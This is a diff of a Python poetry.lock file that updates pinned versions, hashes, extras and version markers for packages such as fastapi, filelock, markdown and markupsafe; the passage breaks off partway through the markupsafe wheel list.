+docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] +nox = ["nox[uv] (>=2024.4.15)"] +pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] +sdist = ["build (>=1.0.0)"] ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi", "cryptography-vectors (==43.0.3)", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test = ["certifi (>=2024)", "cryptography-vectors (==46.0.4)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] test-randomorder = ["pytest-randomly"] [[package]] @@ -713,14 +772,14 @@ test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest- [[package]] name = "distlib" -version = "0.3.9" +version = "0.4.0" description = "Distribution utilities" optional = false python-versions = "*" groups = ["dev"] files = [ - {file = "distlib-0.3.9-py2.py3-none-any.whl", hash = "sha256:47f8c22fd27c27e25a65601af709b38e4f0a45ea4fc2e710f65755fa8caaaf87"}, - {file = "distlib-0.3.9.tar.gz", hash = "sha256:a60f20dea646b8a33f3e7772f74dc0b2d0772d2837ee1342a00645c81edf9403"}, + {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, + {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, ] [[package]] @@ -761,60 +820,59 @@ packaging = ">=20.9" [[package]] name = "exceptiongroup" -version = "1.2.2" +version = "1.3.1" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ - {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, - {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, + {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, + {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, ] +[package.dependencies] +typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} + [package.extras] test = ["pytest (>=6)"] [[package]] name = "fastapi" -version = "0.128.0" +version = "0.128.6" description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" optional = false python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "fastapi-0.128.0-py3-none-any.whl", hash = "sha256:aebd93f9716ee3b4f4fcfe13ffb7cf308d99c9f3ab5622d8877441072561582d"}, - {file = "fastapi-0.128.0.tar.gz", hash = "sha256:1cc179e1cef10a6be60ffe429f79b829dce99d8de32d7acb7e6c8dfdf7f2645a"}, + {file = "fastapi-0.128.6-py3-none-any.whl", hash = "sha256:bb1c1ef87d6086a7132d0ab60869d6f1ee67283b20fbf84ec0003bd335099509"}, + {file = "fastapi-0.128.6.tar.gz", hash = "sha256:0cb3946557e792d731b26a42b04912f16367e3c3135ea8290f620e234f2b604f"}, ] [package.dependencies] annotated-doc = ">=0.0.2" pydantic = ">=2.7.0" -starlette = ">=0.40.0,<0.51.0" +starlette = ">=0.40.0,<1.0.0" typing-extensions = ">=4.8.0" +typing-inspection = ">=0.4.2" [package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.9.3)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=5.8.0)", "uvicorn[standard] (>=0.12.0)"] standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] [[package]] name = "filelock" -version = "3.18.0" +version = "3.20.3" description = "A platform independent file lock." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "filelock-3.18.0-py3-none-any.whl", hash = "sha256:c401f4f8377c4464e6db25fff06205fd89bdd83b65eb0488ed1b160f780e21de"}, - {file = "filelock-3.18.0.tar.gz", hash = "sha256:adbc88eabb99d2fec8c9c1b229b171f18afa655400173ddc653d5d01501fb9f2"}, + {file = "filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1"}, + {file = "filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1"}, ] -[package.extras] -docs = ["furo (>=2024.8.6)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.10)", "diff-cover (>=9.2.1)", "pytest (>=8.3.4)", "pytest-asyncio (>=0.25.2)", "pytest-cov (>=6)", "pytest-mock (>=3.14)", "pytest-timeout (>=2.3.1)", "virtualenv (>=20.28.1)"] -typing = ["typing-extensions (>=4.12.2) ; python_version < \"3.11\""] - [[package]] name = "ghp-import" version = "2.1.0" @@ -835,19 +893,22 @@ dev = ["flake8", "markdown", "twine", "wheel"] [[package]] name = "griffe" -version = "1.13.0" +version = "1.15.0" description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["docs"] files = [ - {file = "griffe-1.13.0-py3-none-any.whl", hash = "sha256:470fde5b735625ac0a36296cd194617f039e9e83e301fcbd493e2b58382d0559"}, - {file = "griffe-1.13.0.tar.gz", hash = "sha256:246ea436a5e78f7fbf5f24ca8a727bb4d2a4b442a2959052eea3d0bfe9a076e0"}, + {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"}, + {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"}, ] [package.dependencies] colorama = ">=0.4" +[package.extras] +pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] + [[package]] name = "h11" version = "0.16.0" @@ -909,14 +970,14 @@ zstd = ["zstandard (>=0.18.0)"] [[package]] name = "identify" -version = "2.6.10" +version = "2.6.16" description = "File identification library for Python" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "identify-2.6.10-py2.py3-none-any.whl", hash = "sha256:5f34248f54136beed1a7ba6a6b5c4b6cf21ff495aac7c359e1ef831ae3b8ab25"}, - {file = "identify-2.6.10.tar.gz", hash = "sha256:45e92fd704f3da71cc3880036633f48b4b7265fd4de2b57627cb157216eb7eb8"}, + {file = "identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0"}, + {file = "identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980"}, ] [package.extras] @@ -939,52 +1000,58 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "importlib-metadata" -version = "6.2.1" +version = "8.7.1" description = "Read metadata from Python packages" optional = false -python-versions = ">=3.7" -groups = ["main", "docs"] +python-versions = ">=3.9" +groups = ["docs"] files = [ - {file = "importlib_metadata-6.2.1-py3-none-any.whl", hash = "sha256:f65e478a7c2177bd19517a3a15dac094d253446d8690c5f3e71e735a04312374"}, - {file = "importlib_metadata-6.2.1.tar.gz", hash = "sha256:5a66966b39ff1c14ef5b2d60c1d842b0141fefff0f4cc6365b4bc9446c652807"}, + {file = "importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151"}, + {file = "importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb"}, ] -markers = {main = "python_version == \"3.9\""} [package.dependencies] -zipp = ">=0.5" +zipp = ">=3.20" [package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=3.4)"] perf = ["ipython"] -testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3) ; python_version < \"3.9\"", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7) ; platform_python_implementation != \"PyPy\"", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8 ; python_version < \"3.12\"", "pytest-mypy (>=0.9.1) ; platform_python_implementation != \"PyPy\"", "pytest-perf (>=0.9.2)"] +test = ["flufl.flake8", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] +type = ["mypy (<1.19) ; platform_python_implementation == \"PyPy\"", "pytest-mypy (>=1.0.1)"] [[package]] name = "importlib-resources" -version = "5.0.7" +version = "6.5.2" description = "Read resources from Python packages" optional = false -python-versions = ">=3.6" -groups = ["main", "docs"] +python-versions = ">=3.9" +groups = ["docs"] files = [ - {file = "importlib_resources-5.0.7-py3-none-any.whl", hash = "sha256:2238159eb743bd85304a16e0536048b3e991c531d1cd51c4a834d1ccf2829057"}, - {file = "importlib_resources-5.0.7.tar.gz", hash = "sha256:4df460394562b4581bb4e4087ad9447bd433148fba44241754ec3152499f1d1b"}, + {file = "importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec"}, + {file = "importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c"}, ] -markers = {main = "python_version == \"3.9\""} [package.extras] -docs = ["jaraco.packaging (>=8.2)", "rst.linker (>=1.9)", "sphinx"] -testing = ["pytest (>=3.5,!=3.7.3)", "pytest-black (>=0.3.7) ; platform_python_implementation != \"PyPy\"", "pytest-checkdocs (>=1.2.3)", "pytest-cov", "pytest-enabler", "pytest-flake8", "pytest-mypy ; platform_python_implementation != \"PyPy\""] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["jaraco.test (>=5.4)", "pytest (>=6,!=8.1.*)", "zipp (>=3.17)"] +type = ["pytest-mypy"] [[package]] name = "iniconfig" -version = "2.1.0" +version = "2.3.0" description = "brain-dead simple config-ini parsing" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, - {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, + {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, + {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, ] [[package]] @@ -1206,92 +1273,117 @@ htmlsoup = ["BeautifulSoup4"] [[package]] name = "markdown" -version = "3.8" +version = "3.10.2" description = "Python implementation of John Gruber's Markdown." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["docs"] files = [ - {file = "markdown-3.8-py3-none-any.whl", hash = "sha256:794a929b79c5af141ef5ab0f2f642d0f7b1872981250230e72682346f7cc90dc"}, - {file = "markdown-3.8.tar.gz", hash = "sha256:7df81e63f0df5c4b24b7d156eb81e4690595239b7d70937d0409f1b0de319c6f"}, + {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"}, + {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"}, ] -[package.dependencies] -importlib-metadata = {version = ">=4.4", markers = "python_version < \"3.10\""} - [package.extras] -docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python]"] +docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"] testing = ["coverage", "pyyaml"] [[package]] name = "markupsafe" -version = "3.0.2" +version = "3.0.3" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" groups = ["main", "dev", "docs"] files = [ - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, - {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, + {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, + {file = 